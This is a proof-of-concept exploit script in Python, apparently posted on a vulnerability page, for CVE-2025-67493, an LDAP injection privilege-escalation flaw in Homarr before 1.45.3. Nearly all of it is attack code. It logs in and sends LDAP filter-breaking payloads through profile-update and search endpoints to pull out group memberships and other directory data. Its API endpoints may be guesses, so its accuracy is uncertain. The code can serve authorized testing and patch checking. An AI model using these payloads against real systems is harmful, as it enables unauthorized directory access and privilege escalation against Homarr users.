CVE-2025-67493: Homarr LDAP注入导致权限提升漏洞

# CVE-2025-67493 PoC - Homarr LDAP Injection Privilege Escalation # This PoC demonstrates the LDAP injection vulnerability in Homarr < 1.45.3 # Note: This is for educational and authorized testing purposes only import requests import json TARGET_URL = "http://target-homarr-instance.com" ATTACKER_USERNAME = "attacker" ATTACKER_PASSWORD = "password123" # LDAP Injection payloads to test LDAP_INJECTION_PAYLOADS = [ # Escape the current user context "admin*)(objectClass=*", "*)(memberOf=*)", # Bypass authentication with wildcard "*)(|(objectClass=*))", # Enumerate all groups "*)(objectClass=person)(memberOf=*", # Extract sensitive group memberships "*))(|(memberOf=CN=Admin*", ] def test_ldap_injection(): """Test for LDAP injection vulnerability in Homarr authentication""" session = requests.Session() # Login with legitimate credentials first login_data = { "username": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(f"{TARGET_URL}/api/auth/login", json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return False print("[+] Successfully authenticated") # Test LDAP injection in user profile update for payload in LDAP_INJECTION_PAYLOADS: profile_data = { "username": payload, "displayName": f"Test User {payload[:20]}", "email": f"test-{hash(payload)}@example.com" } response = session.put( f"{TARGET_URL}/api/user/profile", json=profile_data, headers={"Content-Type": "application/json"} ) if response.status_code == 200: # Check if the response contains unexpected group information data = response.json() if "memberOf" in str(data) or "groups" in str(data): print(f"[!] Potential LDAP Injection found with payload: {payload}") print(f"[+] Response may contain unauthorized group data") print(f"[+] Response preview: {str(data)[:200]}") return True # Alternative: Test via LDAP search functionality search_payloads = [ "*", "*)*(", "admin*", "*)(objectClass=*" ] for search_term in search_payloads: response = session.get( f"{TARGET_URL}/api/ldap/search", params={"query": search_term} ) if response.status_code == 200: data = response.json() # Check if results exceed expected scope if isinstance(data, list) and len(data) > 10: print(f"[!] LDAP search returned {len(data)} results for query: {search_term}") print(f"[+] This may indicate an injection vulnerability") return True print("[-] No obvious LDAP injection detected") return False if __name__ == "__main__": print("CVE-2025-67493 LDAP Injection Test") print("=" * 50) test_ldap_injection()